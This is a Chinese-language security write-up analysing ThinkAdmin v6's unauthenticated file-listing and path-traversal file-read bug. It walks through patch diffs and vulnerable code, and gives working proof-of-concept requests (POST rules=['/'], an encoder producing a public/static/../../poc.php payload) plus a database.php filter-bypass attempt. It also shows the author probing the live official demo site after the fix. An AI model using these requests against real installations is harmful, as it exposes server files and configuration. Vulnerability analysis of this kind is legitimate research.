

环境搭建

下载 ThinkAdmin 的过去版本

通过 Commit 找到修复的位置，下载修复版本的前一个版本

Commits on Sep 4, 2020

Update ModuleService.php
zoujingli committed 23 days ago

525e2b1

<>

增加版本号
zoujingli committed 23 days ago

cebbc0f

<>

ComposerUpdate
zoujingli committed 23 days ago

bf5fbb4

<>

#244 增加验证 规则及访问权限
zoujingli committed 23 days ago

ff2ab47

<>

可以通过对比，重点关注修复的相关信息。

vendor/zoujingli/think-library/src/service/ModuleService.php

@@ -190,10 +190,18 @@ public function getChanges(array \$rules, array \$ignore = [], array \$data = []):

190 */

191 public function checkAllowDownload(string \$name): bool

192 {

193

194 // 禁止下载数据库配置文件

195 if (stripos(\$name, 'database.php') !== false) {

196 return false;

197 }

198

199 // 检查允许下载的文件规则

200 foreach (\$this->getAllowDownloadRule() as \$rule) {

201 if (stripos(\$name, \$rule) !== false) return true;

202 }

203 }

204

205

206

207

修复版

190 */

191 public function checkAllowDownload(string \$name): bool

192 {

193 + // 禁止目录级别上跳

194 + if (stripos(\$name, '../') !== false) {

195 + return false;

196 + }

197

198 // 禁止下载数据库配置文件

199 if (stripos(\$name, 'database.php') !== false) {

200 return false;

201 }

202

203 + // 禁止非官方演示项目下载

204 + if (stripos(\$this->app->request->domain(), 'thinkadmin.top') === false) {

205 + return false;

206 + }

207

208

209 // 检查允许下载的文件规则

210 foreach (\$this->getAllowDownloadRule() as \$rule) {

211 if (stripos(\$name, \$rule) !== false) return true;

212 }

213 }

214

215

216

217

可以注意到对于任意文件读取的防护仅仅是加了 禁止目录级别上跳

下载老版本的方法为，找到修改前的 Commit 点击 Browse files 就可以下载过去的版本了。

<> Code Issues 4 Pull requests 1 Actions Projects Security Insights

调整测试案例

v6

zoujingli committed 24 days ago

1 parent 4c8ecbf commit 71d301c1626ea67351a54d4dc195c8c13879ae72

Browse files

按照配置创建和导入数据库，就安装成功了。

thinkadmin.test/index.php/admin/login.html

ThinkAdmin v6.0

系统管理

登录账号 请输入登录账号

登录密码

立即登入

漏洞利用

获取版本信息

← → 不安全 | thinkadmin.test/index.php/admin.html?s=admin/api.Update/version ☆

FeHelper | ☐ 自动解码 | 排序: 默认 ☒ 升序 ☐ 降序 ☐ | 乱码修正 | 元数据 折叠所有 下载JSON

```
{
  "code": 1,
  "info": "获取模块信息成功!",
  "data": {
    "admin": {
      "name": "admin",
      "author": "Anyon",
      "version": "2020.08.28.01",
      "content": "ThinkAdmin 系统基础模块",
      "change": [
        "2020.08.03.00": "<ul>\n<li>系统模块初始化成功</li>\n<li>这次更新了许多内容哦</li>\n</ul>",
        "2020.08.03.01": "<ul>\n<li>少量更新, 修复部分BUG</li>\n</ul>",
        "2020.08.28.01": "<ul>\n<li>修正系统用户搜索</li>\n<li>系统菜单支持外链</li>\n</ul>"
      ]
    },
    "wechat": {
      "name": "wechat",
      "author": "Anyon",
      "version": "2020.08.28.01",
      "content": "ThinkAdmin 微信基础模块",
      "change": [
        "2020.08.03.00": "<ul>\n<li>微信模块初始化成功</li>\n<li>这次更新了许多内容哦</li>\n</ul>",
        "2020.08.28.01": "<p>代码优化调整</p>"
      ]
    }
  ]
}
```

```
http://thinkadmin.test/index.php/admin.html?s=admin/api.Update/node
POST rules=["/"]
```

2 / 9

The screenshot shows the Burp Suite interface with a REST client request and response. The URL bar displays `http://thinkadmin.test/index.php/admin.html?s=admin/api.Update/node`. The request body contains a JSON object:

```
{
  "code": 1,
  "info": "获取文件列表成功!",
  "data": {
    "rules": [
      "../"
    ],
    "ignore": [],
    "list": [
      {
        "name": "../ThinkAdmin/admin_v6.sql",
        "hash": "a6add0e2aab0e7d45f1ef35ad7846c52"
      },
      {
        "name": "../ThinkAdmin/app/admin/controller/auth.php",
        "hash": "a6add0e2aab0e7d45f1ef35ad7846c52"
      }
    ]
  }
}
```

```
<?php

function encode($content)
{
    [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT',
$content))];
    for ($i = 0; $i < $length; $i++) $chars .=
str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    return $chars;
}

var_dump(encode("public/static/../../poc.php"));

?>
```

☐ 多行 Base64加密 Base64解密 清空结果

漏洞分析

我下载的版本为漏洞修复前的版本，可能与网上的文章有些不同，不过大体上是相同的。

`app/admin/controller/api/Update.php` 中引用了两个 function 可不通过登录认证就可使用。

```
namespace app\admin\controller\api;

use think\admin\Controller;
use think\admin\Service\ModuleService;
```

`\app\admin\controller\api\Update::version` 可以获取到当前版本

```
58  /**
59   * 获取模块信息
60   */
61   public function version()
62   {
63       $this->success( info: '获取模块信息成功!', ModuleService::instance()->getModules());
64   }
```

目录穿越

`\app\admin\controller\api\Update::node`

```
47  /**
48   * 读取文件列表
49   */
50   public function node()
51   {
52       $this->success( info: '获取文件列表成功!', ModuleService::instance()->getChanges(
53           json_decode($this->request->post( name: 'rules', default: '[]', filter: ''), assoc: true),
54           json_decode($this->request->post( name: 'ignore', default: '[]', filter: ''), assoc: true)
55       ));
56   }
57
```

将 POST 传入的参数 `rules & ignore` 传递给 `ModuleService::instance()->getChanges()`

跟进函数 `\think\admin\Service\ModuleService::getChanges`

```
/**
 * 获取文件信息列表
 * @param array $rules 文件规则
 * @param array $ignore 忽略规则
 * @param array $data 扫描结果列表
 * @return array
 */
public function getChanges(array $rules, array $ignore = [], array $data = []): array
{
    // 扫描规则文件
    foreach ($rules as $key => $rule) {
        $name = strstr(trim($rule, charlist: '\\/'), '\\', '/');
        $data = array_merge($data, $this->_scanLocalFileHashList( path: $this->root . $name));
    }
    // 清除忽略文件
    foreach ($data as $key => $item) foreach ($ignore as $ign) {
        if (strpos($item['name'], $ign) === 0) unset($data[$key]);
    }
    // 返回文件数据
    return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
}
```

在 `getChanges()` 函数内，遍历传进的 `$rules` 数组，将参数进行转换，并与网站根目录进行路径拼接，传递给 `_scanLocalFileHashList`，返回文件名与哈希值。

`\think\admin\service\ModuleService::_scanLocalFileHashList`

```
/**
 * 获取目录文件列表
 * @param mixed $path 扫描目录
 * @param array $data 扫描结果
 * @return array
 */
private function _scanLocalFileHashList(string $path, array $data = []): array
{
    foreach (NodeService::instance()->scanDirectory($path, [], ext: null) as $file) $data[] = [
        'name' => str_replace(strtr($this->root, '\\', '/'), replace: '/', $file),
        'hash' => md5(preg_replace(pattern: '/\s+/', replacement: '', file_get_contents($file))),
    ];
    return $data;
}
```

在 `_scanLocalFileHashList` 中，通过 `scanDirectory` 遍历传过来目录下的文件

`\think\admin\service\NodeService::scanDirectory`

```
/**
 * 获取所有PHP文件列表
 * @param string $path 扫描目录
 * @param array $data 额外数据
 * @param string $ext 文件后缀
 * @return array
 */
public function scanDirectory($path, $data = [], $ext = 'php')
{
    if (file_exists($path)) if (is_file($path)) $data[] = $path;
    elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {
        $realpath = rtrim($path, charlist: '\\/') . DIRECTORY_SEPARATOR . $item;
        if (is_readable($realpath)) if (is_dir($realpath)) {
            $data = $this->scanDirectory($realpath, $data, $ext);
        } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, options: 4) === $ext)
            $data[] = strtr($realpath, '\\', '/');
        }
    }
    return $data;
}
```

如此，攻击者就可以在未授权的情况下实现读取网站的文件列表。

目前采用的修复方法是，在读取完文件之后，对路径进行一个判断，看是否符合 `checkAllowDownload` 再返回数据。

```

346  /**
347  * 获取目录文件列表
348  * @param mixed $path 扫描目录
349  * @param array $data 扫描结果
350  * @return array
351  */
352  private function _scanLocalFileHashList(string $path, array $data = []): array
353  {
354      foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
355          if (!$this->checkAllowDownload($name = substr($file, strlen($this->root)))) {
356              $data[] = ['name' => $name, 'hash' => md5(preg_replace('/\s+/', '', file_get_contents($file)))]];
357          }
358      }
359      return $data;
360  }
361  }

```

任意文件读取

\app\admin\controller\api\Update::get

```

29  /**
30  * 读取文件内容
31  */
32  public function get()
33  {
34      $filename = decode(input( key: 'encode', default: '0'));
35      if (!ModuleService::instance()->checkAllowDownload($filename)) {
36          $this->error( info: '下载的文件不在认证规则中! ');
37      }
38      if (file_exists($realname = $this->app->getRootPath() . $filename)) {
39          $this->success( info: '读取文件内容成功! ', [
40              'content' => base64_encode(file_get_contents($realname)),
41          ]);
42      } else {
43          $this->error( info: '读取文件内容失败! ');
44      }
45  }

```

首先从 GET 读取 encode 参数并使用 decode() 解码

\decode

```

163  function decode($content)
164  {
165      $chars = '';
166      foreach (str_split($content, split_length: 2) as $char) {
167          $chars .= chr(intval(base_convert($char, frombase: 36, tobase: 10)));
168      }
169      return iconv( in_charset: 'GBK//TRANSLIT', out_charset: 'UTF-8', $chars);
170  }

```

对应的加密函数 encode() \encode

```

150  function encode($content)
151  {
152      [$chars, $length] = ['', strlen($string = iconv( in_charset: 'UTF-8', out_charset: 'GBK//TRANSLIT', $content))];
153      for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), frombase: 10, tobase: 36), pad_length: 2, pad_string: 0, pad_type: 0);
154      return $chars;
155  }

```

跟进函数 checkAllowDownload 对传入的路径进行判断

\think\admin\service\ModuleService::checkAllowDownload

```
186  /**
187   * 检查文件是否可下载
188   * @param string $name 文件名称
189   * @return boolean
190   */
191  public function checkAllowDownload(string $name): bool
192  {
193      // 禁止下载数据库配置文件
194      if (stripos($name, 'needle: 'database.php') !== false) {
195          return false;
196      }
197      // 检查允许下载的文件规则
198      foreach ($this->_getAllowDownloadRule() as $rule) {
199          if (stripos($name, $rule) !== false) return true;
200      }
201      // 不在允许下载的文件规则
202      return false;
203  }
```

然后跟进白名单判断函数 `_getAllowDownloadRule()`

`\think\admin\service\ModuleService::_getAllowDownloadRule`

```
252  /**
253   * 获取允许下载的规则
254   * @return array
255   */
256  private function _getAllowDownloadRule(): array
257  {
258      $data = $this->app->cache->get( key: 'moduleAllowRule', []);
259      if (is_array($data) && count($data) > 0) return $data;
260      $data = ['think', 'config', 'public/static', 'public/router.php', 'public/index.php'];
261      foreach (array_keys($this->getModules()) as $name) $data[] = 'app/' . $name;
262      $this->app->cache->set( key: 'moduleAllowRule', $data, ttl: 30);
263      return $data;
264  }
```

被允许的列表

```
config
public/static
public/router.php
public/index.php
app/admin
app/wechat
```

也就是说 `$name` 的不能为 `databases.php` 并且必须要再允许列表内的。

可以通过 `public/static/../../poc.php` 来读取网站根目录下的 `poc.php`

针对 `database.php` 的限制，在 Windows 下可以通过 `"` 来进行绕过。

`public/static/../../config/database"php` emmm，但是我是没有读取出来。

目前采用的修复方法还是添加了

```
// 禁止目录级别上跳
if (stripos($name, '..') !== false) {
    return false;
}
```

思考

我想这个修复方法还是存在问题的，首先是对这些文件权限配置的问题，根本没有修复对文件的访问权限，再未登录的情况下，仍然能实现对文件的访问。其实是修复过滤的问题，虽然采用了增加黑名单的模式，但是，还是能直接获取得到网站的文件列表。

```
346  /**
347   * 获取目录文件列表
348   * @param mixed $path 扫描目录
349   * @param array $data 扫描结果
350   * @return array
351   */
352  private function _scanLocalFileHashList(string $path, array $data = []): array
353  {
354      foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
355          if ($this->checkAllowDownload($name = substr($file, strlen($this->root)))) {
356              $data[] = ['name' => $name, 'hash' => md5(preg_replace('/\s+/', '', file_get_contents($file)))]];
357          }
358      }
359      return $data;
360  }
361  }
```

```
193  public function checkAllowDownload(string $name): bool
194  {
195      // 禁止目录级别上跳
196      if (strpos($name, '..') !== false) {
197          return false;
198      }
199      // 禁止下载数据库配置文件
200      if (strpos(strtr($name, '\\', '/'), 'config/database') !== false) {
201          return false;
202      }
203      // 检查允许下载的文件规则
204      foreach ($this->_getAllowDownloadRule() as $rule) {
205          if (strpos($name, $rule) === 0) return true;
206      }
207      // 不在允许下载的文件规则
208      return false;
209  }
```

FeHelper | 自动解码 | 排序: 默认 | 升序 | 降序 | 乱码修正 | 无数据 | 折叠所有 | 下载JSON

```
{
  "code": 1,
  "info": "获取文件列表成功!",
  "data": {
    "rules": [
      "/"
    ],
    "ignore": [],
    "list": [
      {
        "name": "app/admin/controller/Auth.php",
        "hash": "73a512c30e5b9994f2d4badb58f7504a"
      },
      {
        "name": "app/admin/controller/Config.php",
        "hash": "620a2baa7245f8323fadee00ae2afec7"
      }
    ]
  }
}
```

Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSTI ENCODING HASHING

URL
https://v6.thinkadmin.top/admin.html?s=admin/api.Update/node

Enable POST
application/x-www-form-urlencoded
ADD HEADER

Body
rules=("/")

修复后还是首先对传入的路径进行一个查询，得出所有的文件的路径，然后将获取得到文件的路径进行判断，并不是直接对传入的路径进行判断。可能比较拗口，但是这样说，大概就能清楚。我们首先传入 /，然后会获取得到网站根目录下所有文件的路径名，like `app/admin/controller/Auth.php` 然后这些值就会进行 `checkAllowDownload` 的检验。然后白名单为


```
<b>array</b> <i>(size=7)</i>
  0 <font color='#888a85'>=&gt;</font> <small>string</small> <font color='#cc0000'>'think'</font> <i>(length=5)</i>
  1 <font color='#888a85'>=&gt;</font> <small>string</small> <font color='#cc0000'>'config'</font> <i>(length=6)</i>
  2 <font color='#888a85'>=&gt;</font> <small>string</small> <font color='#cc0000'>'public/static'</font> <i>(length=13)</i>
  3 <font color='#888a85'>=&gt;</font> <small>string</small> <font color='#cc0000'>'public/router.php'</font> <i>(length=17)</i>
  4 <font color='#888a85'>=&gt;</font> <small>string</small> <font color='#cc0000'>'public/index.php'</font> <i>(length=16)</i>
  5 <font color='#888a85'>=&gt;</font> <small>string</small> <font color='#cc0000'>'app/admin'</font> <i>(length=9)</i>
  6 <font color='#888a85'>=&gt;</font> <small>string</small> <font color='#cc0000'>'app/wechat'</font> <i>(length=10)</i>
```

所以还是可以列出根目录下的一些文件滴。

目前的过滤的 `..` 暂时没有什么方法可以绕过。但是漏洞的位置还是存在，如果特殊情况可以绕过 `..` 的话，还是可以实现任意文件读取。

参考文章

[ThinkAdmin v6 未授权列目录/任意文件读取](#)